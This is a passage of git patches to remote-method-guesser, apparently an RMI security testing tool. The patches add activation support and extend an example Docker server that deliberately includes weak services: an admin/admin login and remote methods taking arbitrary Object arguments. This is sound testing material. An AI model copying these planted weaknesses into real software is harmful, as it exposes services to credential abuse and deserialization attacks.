RMGOption.FORCE_ACTIVATION, }), GUESS("dispatchGuess", "", "Guess methods on bound names", new RMGOption[] { @@ -140,6 +144,7 @@ public enum Operation { RMGOption.GUESS_ZERO_ARG, RMGOption.THREADS, RMGOption.NO_PROGRESS, + RMGOption.FORCE_ACTIVATION, }), KNOWN("dispatchKnown", "", "Display details of known remote objects", new RMGOption[] { @@ -246,6 +251,7 @@ public enum Operation { RMGOption.GADGET_NAME, RMGOption.GADGET_CMD, RMGOption.YSO, + RMGOption.FORCE_ACTIVATION, }), UNBIND("dispatchUnbind", "", "Removes the specified bound name from the registry", new RMGOption[] { diff --git a/src/de/qtc/rmg/operations/RemoteObjectClient.java b/src/de/qtc/rmg/operations/RemoteObjectClient.java index 632cc36f..7c63d92b 100644 --- a/src/de/qtc/rmg/operations/RemoteObjectClient.java +++ b/src/de/qtc/rmg/operations/RemoteObjectClient.java @@ -19,6 +19,7 @@ import de.qtc.rmg.utils.DefinitelyNonExistingClass; import de.qtc.rmg.utils.RMGUtils; import de.qtc.rmg.utils.RemoteObjectWrapper; +import de.qtc.rmg.utils.UnicastWrapper; import javassist.CannotCompileException; import javassist.CtClass; import javassist.NotFoundException; @@ -83,7 +84,7 @@ public RemoteObjectClient(RMIEndpoint rmiEndpoint, ObjID objID) * * @param remoteObject Previously obtained remote reference contained in a RemoteObjectWrapper */ - public RemoteObjectClient(RemoteObjectWrapper remoteObject) + public RemoteObjectClient(UnicastWrapper remoteObject) { this.rmi = new RMIEndpoint(remoteObject.getHost(), remoteObject.getPort(), remoteObject.csf); this.objID = remoteObject.objID; @@ -91,7 +92,7 @@ public RemoteObjectClient(RemoteObjectWrapper remoteObject) this.remoteObject = remoteObject; this.remoteMethods = Collections.synchronizedList(new ArrayList()); - remoteRef = remoteObject.remoteRef; + remoteRef = remoteObject.unicastRef; } /** @@ -378,7 +379,7 @@ private RemoteRef getRemoteRefByName() Remote instance = rmiReg.lookup(boundName); remoteRef = RMGUtils.extractRef(instance); - this.remoteObject = new RemoteObjectWrapper(instance, boundName); + this.remoteObject = RemoteObjectWrapper.getInstance(instance, boundName); } catch(Exception e) { ExceptionHandler.unexpectedException(e, "remote reference lookup", "operation", true); diff --git a/src/de/qtc/rmg/plugin/PluginSystem.java b/src/de/qtc/rmg/plugin/PluginSystem.java index 200e707b..f66e3401 100644 --- a/src/de/qtc/rmg/plugin/PluginSystem.java +++ b/src/de/qtc/rmg/plugin/PluginSystem.java @@ -232,4 +232,24 @@ public static boolean hasArgumentProvider() { return argumentProvider instanceof IArgumentProvider; } + + /** + * Returns the currently set ResponseHandler + * + * @return currently set ResponseHandler + */ + public static IResponseHandler getResponseHandler() + { + return responseHandler; + } + + /** + * Sets a new ResponseHandler. + * + * @param handler the new ResponseHandler to set + */ + public static void setResponeHandler(IResponseHandler handler) + { + responseHandler = handler; + } } diff --git a/src/de/qtc/rmg/utils/ActivatableWrapper.java b/src/de/qtc/rmg/utils/ActivatableWrapper.java new file mode 100644 index 00000000..5b1671b4 --- /dev/null +++ b/src/de/qtc/rmg/utils/ActivatableWrapper.java @@ -0,0 +1,134 @@ +package de.qtc.rmg.utils; + +import java.io.IOException; +import java.lang.reflect.Field; +import java.rmi.MarshalledObject; +import java.rmi.Remote; +import java.rmi.server.RemoteRef; +import java.rmi.server.UID; + +import de.qtc.rmg.internal.ExceptionHandler; +import de.qtc.rmg.internal.RMGOption; +import de.qtc.rmg.networking.RMIEndpoint; +import de.qtc.rmg.operations.ActivationClient; +import de.qtc.rmg.plugin.IResponseHandler; +import de.qtc.rmg.plugin.PluginSystem; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +@SuppressWarnings("restriction") +public class ActivatableWrapper extends RemoteObjectWrapper +{ + public final UID activationUID; + private final Object activationIDObj; + private final RMIEndpoint activatorEndpoint; + private final UnicastRef activatorUnicastRef; + + private RemoteRef activatableRef = null; + private UnicastWrapper activatedRef = null; + + public ActivatableWrapper(Remote remoteObject, String boundName, RemoteRef ref) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + { + super(boundName, remoteObject); + + Class activationIDClass = null; + Class activatableRefClass = null; + + try { + activationIDClass = Class.forName("java.rmi.activation.ActivationID"); + activatableRefClass = Class.forName("sun.rmi.server.ActivatableRef"); + + } catch (ClassNotFoundException e) { + ExceptionHandler.unexpectedException(e, "ActivatableWrapper", "constructor", true); + } + + Field activationIDField = activatableRefClass.getDeclaredField("id"); + Field uidField = activationIDClass.getDeclaredField("uid"); + Field activatorField = activationIDClass.getDeclaredField("activator"); + Field endpointField = LiveRef.class.getDeclaredField("ep"); + + for( Field field : new Field[] { activationIDField, uidField, activatorField, endpointField }) + field.setAccessible(true); + + this.activatableRef = ref; + activationIDObj = activationIDField.get(activatableRef); + activationUID = (UID) uidField.get(activationIDObj); + + Remote activator = (Remote) activatorField.get(activationIDObj); + activatorUnicastRef = (UnicastRef) RMGUtils.extractRef(activator); + + LiveRef lRef = activatorUnicastRef.getLiveRef(); + TCPEndpoint endpoint = (TCPEndpoint)endpointField.get(lRef); + + activatorEndpoint = new RMIEndpoint(endpoint.getHost(), endpoint.getPort()); + + if (RMGOption.ACTIVATION.getBool()) + this.activate(); + } + + public UnicastWrapper activate() throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + { + if (activatedRef != null && !RMGOption.FORCE_ACTIVATION.getBool()) + return activatedRef; + + ActivationClient activationClient = new ActivationClient(activatorEndpoint); + ActivationResponseHandler handler = new ActivationResponseHandler(); + + IResponseHandler cachedHandler = PluginSystem.getResponseHandler(); + PluginSystem.setResponeHandler(handler); + + Class activatableRefClass = null; + + try { + activationClient.regularActivateCall(activationIDObj, RMGOption.FORCE_ACTIVATION.getBool(), activatorUnicastRef); + activatableRefClass = Class.forName("sun.rmi.server.ActivatableRef"); + + } catch (Exception e) { + ExceptionHandler.unexpectedException(e, "activate", "call", true); + } + + Field activationRefField = activatableRefClass.getDeclaredField("ref"); + activationRefField.setAccessible(true); + + PluginSystem.setResponeHandler(cachedHandler); + Remote activedObject = handler.getRemote(); + activatableRef = RMGUtils.extractRef(activedObject); + + activatedRef = new UnicastWrapper(activedObject, boundName, (UnicastRef) activationRefField.get(activatableRef)); + + return activatedRef; + } + + public UnicastWrapper getActivated() + { + return activatedRef; + } + + public String getActivatorEndpoint() + { + return activatorEndpoint.host + ":" + activatorEndpoint.port; + } + + class ActivationResponseHandler implements IResponseHandler + { + private MarshalledObject activatedObject; + + public void handleResponse(Object responseObject) + { + activatedObject = (MarshalledObject) responseObject; + } + + public Remote getRemote() + { + try { + return activatedObject.get(); + + } catch (ClassNotFoundException | IOException e) { + ExceptionHandler.unexpectedException(e, "activate", "call", true); + } + + return null; + } + } +} \ No newline at end of file diff --git a/src/de/qtc/rmg/utils/RMGUtils.java b/src/de/qtc/rmg/utils/RMGUtils.java index dd306add..e9d6cfec 100644 --- a/src/de/qtc/rmg/utils/RMGUtils.java +++ b/src/de/qtc/rmg/utils/RMGUtils.java @@ -183,6 +183,27 @@ public static Class makeSerializableClass(String className) throws CannotCompile return ctClass.toClass(); } + /** + * Create required classes for the activation system. This function is called when the server + * contains an ActivatableRef. It checks whether the class exists within the currently running + * JVM and creates it otherwise. + * + * @return Class object for ActivatableRef + * @throws CannotCompileException + */ + public static Class makeActivatbaleRef() throws CannotCompileException + { + try { + return Class.forName("sun.rmi.server.ActivatableRef"); + } catch (ClassNotFoundException e) { + // TODO needs to be implemented correctly + Logger.printlnYellow("[-] Not implemented yet!"); + RMGUtils.exit(); + } + + return null; + } + /** * Creates a method from a signature string. Methods need to be assigned to a class, therefore the static * dummyClass is used that is created during the initialization of RMGUtils. The class relationship of the diff --git a/src/de/qtc/rmg/utils/RemoteObjectWrapper.java b/src/de/qtc/rmg/utils/RemoteObjectWrapper.java index 4eabc978..45c7b3a5 100644 --- a/src/de/qtc/rmg/utils/RemoteObjectWrapper.java +++ b/src/de/qtc/rmg/utils/RemoteObjectWrapper.java @@ -1,44 +1,34 @@ package de.qtc.rmg.utils; -import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.rmi.Remote; -import java.rmi.server.ObjID; -import java.rmi.server.RMIClientSocketFactory; -import java.rmi.server.RMIServerSocketFactory; -import java.rmi.server.RMISocketFactory; import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.RemoteRef; import java.util.ArrayList; import java.util.List; -import javax.rmi.ssl.SslRMIClientSocketFactory; - import de.qtc.rmg.endpoints.KnownEndpoint; import de.qtc.rmg.endpoints.KnownEndpointHolder; import de.qtc.rmg.internal.ExceptionHandler; import sun.rmi.server.UnicastRef; -import sun.rmi.transport.LiveRef; -import sun.rmi.transport.tcp.TCPEndpoint; /** * The RemoteObjectWrapper class represents a wrapper around the ordinary RMI remote object related classes. * It stores the basic information that is required to use the remote object as usual, but adds additional * fields that allow to obtain meta information more easily. * + * From remote-method-guesser v4.3.0 on, the class gets extended by the UnicastWrapper and ActivatbaleWrapper + * classes. As the names suggest, UnicastWrapper is used to wrap remote objects that contain a UnicastRef, + * whereas ActivatableWrapper is used for wrapping ActivatabaseRef types. + * * @author Tobias Neitzel (@qtc_de) */ @SuppressWarnings("restriction") -public class RemoteObjectWrapper { - - public ObjID objID; +public class RemoteObjectWrapper +{ public String className; public String boundName; public Remote remoteObject; - public UnicastRef remoteRef; - public TCPEndpoint endpoint; - public RMIClientSocketFactory csf; - public RMIServerSocketFactory ssf; public KnownEndpoint knownEndpoint; public List duplicates; @@ -56,46 +46,63 @@ public RemoteObjectWrapper(String boundName) } /** - * Create a new RemoteObjectWrapper from a RemoteObject. + * Partially initializes a wrapper. This constructor goes already a little bit deeper than the + * previous one by also assigning the remote object, checking for the implementing class and + * whether it is a duplicate. However, this constructor should still only be used by subclasses + * that add the missing fields. * - * @param remoteObject Incoming RemoteObject, usually obtained by an RMI lookup call - * @throws many Exceptions - These only occur if some reflective access fails + * @param boundName bound name as used in the RMI registry + * @param remoteObject the corresponding remote object */ - public RemoteObjectWrapper(Remote remoteObject) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + public RemoteObjectWrapper(String boundName, Remote remoteObject) { - this(remoteObject, null); + this.boundName = boundName; + this.remoteObject = remoteObject; + + this.className = RMGUtils.getClassName(remoteObject); + this.duplicates = new ArrayList(); + this.knownEndpoint = KnownEndpointHolder.getHolder().lookup(className); } /** - * Create a new RemoteObjectWrapper from a RemoteObject. + * Create a RemoteObjectWrapper for the specified Remote. See the extended + * version of the function below for more information. * - * @param remoteObject Incoming RemoteObject, usually obtained by an RMI lookup call - * @param boundName The bound name that the remoteObject uses inside the RMI registry - * @throws many Exceptions - These only occur if some reflective access fails + * @param remote remote to create the wrapper for + * @return RemoteObjectWrapper for the specified remote + * @throws Reflection related exceptions */ - public RemoteObjectWrapper(Remote remoteObject, String boundName) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + public static RemoteObjectWrapper getInstance(Remote remote) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { - this.boundName = boundName; - this.remoteObject = remoteObject; - this.remoteRef = (UnicastRef)RMGUtils.extractRef(remoteObject); - - LiveRef lRef = remoteRef.getLiveRef(); + return RemoteObjectWrapper.getInstance(remote, null); + } - Field endpointField = LiveRef.class.getDeclaredField("ep"); - endpointField.setAccessible(true); + /** + * Create a RemoteObjectWrapper for the specified Remote. This function uses reflection + * to inspect the reference type of the specified Remote. If it is a UnicastRef, a UnicastWrapper + * is returned. Otherwise, an ActivatbaleWrapper is returned. + * + * @param remote remote to create the wrapper for + * @param boundName bound name as specified in the RMI registry + * @return RemoteObjectWrapper - Either a UnicastWrapper or a ActivatbaleWrapper depending on the Remote + * @throws Reflection related exceptions + */ + public static RemoteObjectWrapper getInstance(Remote remote, String boundName) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + { + RemoteObjectWrapper wrapper = null; + RemoteRef ref = RMGUtils.extractRef(remote); - this.objID = lRef.getObjID(); - this.endpoint = (TCPEndpoint)endpointField.get(lRef); + if (ref instanceof UnicastRef) + wrapper = new UnicastWrapper(remote, boundName, (UnicastRef)ref); - this.csf = lRef.getClientSocketFactory(); - this.ssf = lRef.getServerSocketFactory(); + else if (ref.getClass().getName().contains("ActivatableRef")) + wrapper = new ActivatableWrapper(remote, boundName, ref); - this.className = RMGUtils.getClassName(remoteObject); + else + ExceptionHandler.internalError("RemoteObjectWrapper.getInstance", "Unexpected reference type"); - this.duplicates = new ArrayList(); - this.knownEndpoint = KnownEndpointHolder.getHolder().lookup(className); + return wrapper; } - /** * Create a new RemoteObjectWrapper from a RemoteRef. This function creates a Proxy that implements * the specified interface and uses a RemoteObjectInvocationHandler to forward method invocations to @@ -113,50 +120,7 @@ public static RemoteObjectWrapper fromRef(RemoteRef remoteRef, Class intf) th RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(remoteRef); Remote remoteObject = (Remote)Proxy.newProxyInstance(intf.getClassLoader(), new Class[] { intf }, remoteObjectInvocationHandler); - return new RemoteObjectWrapper(remoteObject); - } - - /** - * Check whether the endpoint is a known endpoint. - * - * @return True of the endpoint is known. - */ - public boolean isKnown() - { - if( knownEndpoint == null ) - return false; - - return true; - } - - /** - * Returns the host name associated with the RemoteObjectWrapper - * - * @return host name the Wrapper is pointing to - */ - public String getHost() - { - return endpoint.getHost(); - } - - /** - * Returns the port number associated with the RemoteObjectWrapper - * - * @return port number the Wrapper is pointing to - */ - public int getPort() - { - return endpoint.getPort(); - } - - /** - * Returns a string that combines the host name and port in the 'host:port' notation. - * - * @return host:port the Wrapper is pointing to - */ - public String getTarget() - { - return getHost() + ":" + getPort(); + return RemoteObjectWrapper.getInstance(remoteObject); } /** @@ -173,33 +137,6 @@ public boolean hasDuplicates() return true; } - /** - * Checks whether the socket factory used by the remote object is TLS protected. This function - * returns 1 if the default SslRMIClientSocketFactory class is used. -1 if the default RMISocketFactory - * class is used and 0 if none of the previously mentioned cases applies. Notice that a client - * socket factory with a value of null implies the default socket factory (RMISocketFactory). - * - * @return 1 -> SslRMIClientSocketFactory, -1 -> RMISocketFactory, 0 -> Unknown - */ - public int isTLSProtected() - { - if( csf != null ) { - - Class factoryClass = csf.getClass(); - - if( factoryClass == SslRMIClientSocketFactory.class ) - return 1; - - if( factoryClass == RMISocketFactory.class ) - return -1; - - } else if( remoteObject != null ) { - return -1; - } - - return 0; - } - /** * Add a duplicate to the RemoteObjectWrapper. This should be a wrapper that implements the same * remote interface as the original wrapper. @@ -306,4 +243,49 @@ public static RemoteObjectWrapper[] fromBoundNames(String[] boundNames) return returnValue; } + + /** + * Check whether the endpoint is a known endpoint. + * + * @return True of the endpoint is known. + */ + public boolean isKnown() + { + if( knownEndpoint == null ) + return false; + + return true; + } + + /** + * Transform an array of RemoteObjectWrapper into an array of UnicastWrapper. If an + * element is already a UnicastWrapper, it is simply returned. ActivatableWrappers, on + * the other hand, are activated to create a UnicastWrapper. + * + * @param wrappers RemoteObjectWrapper array + * @return Array of associated UnicastWrappers + */ + public static UnicastWrapper[] getUnicastWrappers(RemoteObjectWrapper[] wrappers) + { + UnicastWrapper[] unicastWrappers = new UnicastWrapper[wrappers.length]; + + for (int ctr = 0; ctr < wrappers.length; ctr++) + { + if (wrappers[ctr] instanceof UnicastWrapper) + { + unicastWrappers[ctr] = (UnicastWrapper) wrappers[ctr]; + } + + else + { + try { + unicastWrappers[ctr] = ((ActivatableWrapper)wrappers[ctr]).activate(); + } catch (IllegalArgumentException | IllegalAccessException | NoSuchFieldException | SecurityException e) { + ExceptionHandler.unexpectedException(e, "activate", "call", true); + } + } + } + + return unicastWrappers; + } } diff --git a/src/de/qtc/rmg/utils/UnicastWrapper.java b/src/de/qtc/rmg/utils/UnicastWrapper.java new file mode 100644 index 00000000..fd472b04 --- /dev/null +++ b/src/de/qtc/rmg/utils/UnicastWrapper.java @@ -0,0 +1,106 @@ +package de.qtc.rmg.utils; + +import java.lang.reflect.Field; +import java.rmi.Remote; +import java.rmi.server.ObjID; +import java.rmi.server.RMIClientSocketFactory; +import java.rmi.server.RMIServerSocketFactory; +import java.rmi.server.RMISocketFactory; + +import javax.rmi.ssl.SslRMIClientSocketFactory; + +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +@SuppressWarnings("restriction") +public class UnicastWrapper extends RemoteObjectWrapper +{ + public final ObjID objID; + public final TCPEndpoint endpoint; + public final UnicastRef unicastRef; + + public final RMIClientSocketFactory csf; + public final RMIServerSocketFactory ssf; + + /** + * Create a new RemoteObjectWrapper from a RemoteObject. + * + * @param remoteObject Incoming RemoteObject, usually obtained by an RMI lookup call + * @param boundName The bound name that the remoteObject uses inside the RMI registry + * @throws many Exceptions - These only occur if some reflective access fails + */ + public UnicastWrapper(Remote remoteObject, String boundName, UnicastRef ref) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + { + super(boundName, remoteObject); + this.unicastRef = ref; + + LiveRef lRef = unicastRef.getLiveRef(); + + Field endpointField = LiveRef.class.getDeclaredField("ep"); + endpointField.setAccessible(true); + + this.objID = lRef.getObjID(); + this.endpoint = (TCPEndpoint)endpointField.get(lRef); + + this.csf = lRef.getClientSocketFactory(); + this.ssf = lRef.getServerSocketFactory(); + } + + /** + * Returns the host name associated with the RemoteObjectWrapper + * + * @return host name the Wrapper is pointing to + */ + public String getHost() + { + return endpoint.getHost(); + } + + /** + * Returns the port number associated with the RemoteObjectWrapper + * + * @return port number the Wrapper is pointing to + */ + public int getPort() + { + return endpoint.getPort(); + } + + /** + * Returns a string that combines the host name and port in the 'host:port' notation. + * + * @return host:port the Wrapper is pointing to + */ + public String getTarget() + { + return getHost() + ":" + getPort(); + } + + /** + * Checks whether the socket factory used by the remote object is TLS protected. This function + * returns 1 if the default SslRMIClientSocketFactory class is used. -1 if the default RMISocketFactory + * class is used and 0 if none of the previously mentioned cases applies. Notice that a client + * socket factory with a value of null implies the default socket factory (RMISocketFactory). + * + * @return 1 -> SslRMIClientSocketFactory, -1 -> RMISocketFactory, 0 -> Unknown + */ + public int isTLSProtected() + { + if( csf != null ) { + + Class factoryClass = csf.getClass(); + + if( factoryClass == SslRMIClientSocketFactory.class ) + return 1; + + if( factoryClass == RMISocketFactory.class ) + return -1; + + } else if( remoteObject != null ) { + return -1; + } + + return 0; + } +} From aec78ef3e6479d721c4d8f49fdb2a1c27109bce2 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Fri, 6 May 2022 06:43:09 +0200 Subject: [PATCH 03/19] Add missing comments --- src/de/qtc/rmg/utils/ActivatableWrapper.java | 66 ++++++++++++++++++++ src/de/qtc/rmg/utils/UnicastWrapper.java | 16 ++++- 2 files changed, 79 insertions(+), 3 deletions(-) diff --git a/src/de/qtc/rmg/utils/ActivatableWrapper.java b/src/de/qtc/rmg/utils/ActivatableWrapper.java index 5b1671b4..38a79ebd 100644 --- a/src/de/qtc/rmg/utils/ActivatableWrapper.java +++ b/src/de/qtc/rmg/utils/ActivatableWrapper.java @@ -17,6 +17,12 @@ import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; +/** + * The ActivatableWrapper class extends RemoteObjectWrapper and is used for wrapping ActiviatableRef. + * By using the activate method of ActivatableWrapper, it is possible to turn it into an UnicastWrapper. + * + * @author Tobias Neitzel (@qtc_de) + */ @SuppressWarnings("restriction") public class ActivatableWrapper extends RemoteObjectWrapper { @@ -28,6 +34,29 @@ public class ActivatableWrapper extends RemoteObjectWrapper private RemoteRef activatableRef = null; private UnicastWrapper activatedRef = null; + /** + * ActivatableWrapper is constructed from a remote object. It expects the underlying RemoteRef to + * be an ActivatableRef and attempts tp extract the ActivationID from it. The ActivationID is then + * used to obtain the actual UID used for activation and the reference to the Activator. + * + * To provide compatibility to newer Java versions, the constructor uses reflection to perform operations + * on classes that are contained in the activation system. This allows them to be dynamically generated + * if they are missing. + * + * During the enum action, it is possible to use the RMGOptions.ACTIVATE option to activate an + * ActivatableWrapper and to display properties of the UnicastRef that is obtained during activation. + * For all other operations, activation is done implicitly. + * + * The third argument seems superfluous, as the ref is already contained in the remote object. However, + * ActivatableWrapper should be created by using the getInstance method of RemoteObjectWrapper. This one + * extracts the reference from the remote object anyway to check whether it is a UnicastRef or ActivatableRef. + * Therefore, we can reuse this extracted ref instead of performing another extraction. + * + * @param remoteObject Incoming RemoteObject, usually obtained by an RMI lookup call + * @param boundName The bound name that the remoteObject uses inside the RMI registry + * @param ref ActivatableRef to wrap around + * @throws many Exceptions - These only occur if some reflective access fails + */ public ActivatableWrapper(Remote remoteObject, String boundName, RemoteRef ref) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { super(boundName, remoteObject); @@ -67,6 +96,13 @@ public ActivatableWrapper(Remote remoteObject, String boundName, RemoteRef ref) this.activate(); } + /** + * Activate the ActivatableWrapper. Sends an activate call to the associated Activator and attempts + * to obtain a UnicastRef for the desired remote object. + * + * @return UnicastWrapper that contains the activated reference + * @throws Reflection related exceptions + */ public UnicastWrapper activate() throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { if (activatedRef != null && !RMGOption.FORCE_ACTIVATION.getBool()) @@ -100,25 +136,55 @@ public UnicastWrapper activate() throws IllegalArgumentException, IllegalAccessE return activatedRef; } + /** + * Return the currently set activatedRef. This is probably null, if the wrapper was not previously activated. + * Use the activate method instead, if you want to ensure activation. + * + * @return activatedRef or null + */ public UnicastWrapper getActivated() { return activatedRef; } + /** + * Return a formated string in host:port format for the Activator endpoint. + * + * @return String representation of the activator endpoint + */ public String getActivatorEndpoint() { return activatorEndpoint.host + ":" + activatorEndpoint.port; } + /** + * remote-method-guesser performs activation by calling the associated remote method of the + * Activator manually, using its already implemented genericCall method from the RMIEndpoint + * class. The downside of this approach is that this method was never intended to return the + * return value of a call directly, but uses the PluginSystem to obtain return values via a + * ResponseHandler. Therefore, we need to setup a ResponseHandler and register it on the + * PluginSystem to obtain the result of the call. + * + * @author Tobias Neitzel (@qtc_de) + */ class ActivationResponseHandler implements IResponseHandler { private MarshalledObject activatedObject; + /** + * Required ResponseHandler function for handling the return value of the call. We simply + * save it within the activatedObject property. + */ public void handleResponse(Object responseObject) { activatedObject = (MarshalledObject) responseObject; } + /** + * This function should be called after the response was handled. It takes the activatedObject + * and attempts to extract the remote out of it. This object is then returned. + * @return + */ public Remote getRemote() { try { diff --git a/src/de/qtc/rmg/utils/UnicastWrapper.java b/src/de/qtc/rmg/utils/UnicastWrapper.java index fd472b04..ed7cf172 100644 --- a/src/de/qtc/rmg/utils/UnicastWrapper.java +++ b/src/de/qtc/rmg/utils/UnicastWrapper.java @@ -13,6 +13,11 @@ import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; +/** + * The UnicastWrapper class extends RemoteObjectWrapper and is used for wrapping UnicastRef. + * + * @author Tobias Neitzel (@qtc_de) + */ @SuppressWarnings("restriction") public class UnicastWrapper extends RemoteObjectWrapper { @@ -24,10 +29,15 @@ public class UnicastWrapper extends RemoteObjectWrapper public final RMIServerSocketFactory ssf; /** - * Create a new RemoteObjectWrapper from a RemoteObject. + * Create a new UnicastWrapper from a RemoteObject. The third argument seems superfluous, as the + * UnicastRef is already contained within the remote object. However, UnicastWrappers should be + * created by using the getInstance method of RemoteObjectWrapper. This one extracts the reference + * from the remote object anyway to check whether it is a UnicastRef or ActivatableRef. Therefore, + * we can reuse this extracted ref instead of performing another extraction. * * @param remoteObject Incoming RemoteObject, usually obtained by an RMI lookup call * @param boundName The bound name that the remoteObject uses inside the RMI registry + * @param ref UnicastRef to build the wrapper around * @throws many Exceptions - These only occur if some reflective access fails */ public UnicastWrapper(Remote remoteObject, String boundName, UnicastRef ref) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException @@ -48,7 +58,7 @@ public UnicastWrapper(Remote remoteObject, String boundName, UnicastRef ref) thr } /** - * Returns the host name associated with the RemoteObjectWrapper + * Returns the host name associated with the UnicastWrapper. * * @return host name the Wrapper is pointing to */ @@ -58,7 +68,7 @@ public String getHost() } /** - * Returns the port number associated with the RemoteObjectWrapper + * Returns the port number associated with the UnicastWrapper. * * @return port number the Wrapper is pointing to */ From d4806e13331fa73e84073a9ed3e159a4a0cb682f Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Fri, 6 May 2022 07:58:14 +0200 Subject: [PATCH 04/19] [docker] Improve activation server --- .../example-server/resources/server/pom.xml | 2 +- .../server/activation/ActivationServer.java | 29 +++++++++- .../server/activation/ActivationService2.java | 58 +++++++++++++++++++ .../activation/IActivationService2.java | 13 +++++ 4 files changed, 100 insertions(+), 2 deletions(-) create mode 100644 docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService2.java create mode 100644 docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService2.java diff --git a/docker/example-server/resources/server/pom.xml b/docker/example-server/resources/server/pom.xml index f7f2ec31..3d7afc40 100644 --- a/docker/example-server/resources/server/pom.xml +++ b/docker/example-server/resources/server/pom.xml @@ -3,7 +3,7 @@ 4.0.0 de.qtc.rmg.server.ExampleServer rmg-example-server - 3.1.0 + 3.2.0 rmg-example-server RMG Example Server diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java index b60ddc23..ee1abab8 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java @@ -12,17 +12,36 @@ import java.rmi.activation.ActivationGroupID; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; +import java.rmi.server.UnicastRemoteObject; import java.util.Properties; +import de.qtc.rmg.server.interfaces.IPlainServer; +import de.qtc.rmg.server.operations.PlainServer; import de.qtc.rmg.server.utils.Logger; import de.qtc.rmg.server.utils.Utils; +/** + * Create an ActivationServer. This class does basically the same as rmid, but skips some configuration + * steps and does only the necessary once. The resulting server seems to work fine, but it is possible + * that it is not fully functional due to some missing configuration steps. + * + * @author Tobias Neitzel (@qtc_de) + */ @SuppressWarnings("unused") public class ActivationServer { private static int activationSystemPort = 1098; private static Remote remoteObject1 = null; + private static Remote remoteObject2 = null; + private static Remote remoteObject3 = null; + private final static String codebase = "file:///opt/example-server.jar"; + + /** + * Create the RMI registry and the Activator and bind an ActivationSystem to it. Afterwards, an activation + * group is created and two activatable RMI services are bound to the registry. Additionally, we bind one + * non activatable service. + */ public static void init() { Logger.increaseIndent(); @@ -70,10 +89,18 @@ public static void init() ActivationGroupID groupID = ActivationGroup.getSystem().registerGroup(groupDesc); Utils.toogleOutput(); - ActivationDesc desc = new ActivationDesc(groupID, ActivationService.class.getName(), null, null); + ActivationDesc desc = new ActivationDesc(groupID, ActivationService.class.getName(), codebase, null); remoteObject1 = Activatable.register(desc); + ActivationDesc desc2 = new ActivationDesc(groupID, ActivationService2.class.getName(), codebase, null); + remoteObject2 = Activatable.register(desc2); + + remoteObject3 = new PlainServer(); + IPlainServer stub = (IPlainServer)UnicastRemoteObject.exportObject(remoteObject3, 0); + Utils.bindToRegistry(remoteObject1, LocateRegistry.getRegistry(activationSystemPort), "activation-test"); + Utils.bindToRegistry(remoteObject2, LocateRegistry.getRegistry(activationSystemPort), "activation-test2"); + Utils.bindToRegistry(stub, LocateRegistry.getRegistry(activationSystemPort), "plain-server"); Logger.println(""); Logger.decreaseIndent(); diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService2.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService2.java new file mode 100644 index 00000000..0db0a0a5 --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService2.java @@ -0,0 +1,58 @@ +package de.qtc.rmg.server.activation; + +import java.rmi.MarshalledObject; +import java.rmi.RemoteException; +import java.rmi.activation.Activatable; +import java.rmi.activation.ActivationID; +import java.util.ArrayList; +import java.util.HashMap; + +import javax.rmi.ssl.SslRMIClientSocketFactory; +import javax.rmi.ssl.SslRMIServerSocketFactory; + +import de.qtc.rmg.server.utils.Logger; + +public class ActivationService2 extends Activatable implements IActivationService2 +{ + private static final long serialVersionUID = 4047196196290730685L; + + @SuppressWarnings("rawtypes") + public ActivationService2(ActivationID id, MarshalledObject data) throws RemoteException + { + super(id, 0, new SslRMIClientSocketFactory(), new SslRMIServerSocketFactory()); + } + + @SuppressWarnings("unused") + private ArrayList preferences = null; + + public String login(HashMap credentials) throws RemoteException + { + Logger.printlnMixedBlueYellow("[SecureServer]:", "Processing call for", "String login(HashMap credentials)"); + String username = credentials.get("username"); + String password = credentials.get("password"); + if(username != null && password != null && username.equals("admin") && password.equals("admin")) { + return "Session-ID-123"; + } + return null; + } + + @SuppressWarnings("unused") + public void logMessage(int logLevel, Object message) throws RemoteException + { + Logger.printlnMixedBlueYellow("[SecureServer]:", "Processing call for", "void logMessage(int logLevel, Object message)"); + + String logMessage = ""; + if( logLevel == 1 ) + logMessage = "Info: " +(String)message; + if( logLevel == 2 ) + logMessage = "Error: " +(String)message; + + //tdb.appendToLog(logMessage); + } + + public void updatePreferences(ArrayList preferences) throws RemoteException + { + Logger.printlnMixedBlueYellow("[SecureServer]:", "Processing call for", "void updatePreferences(ArrayList preferences)"); + this.preferences = preferences; + } +} \ No newline at end of file diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService2.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService2.java new file mode 100644 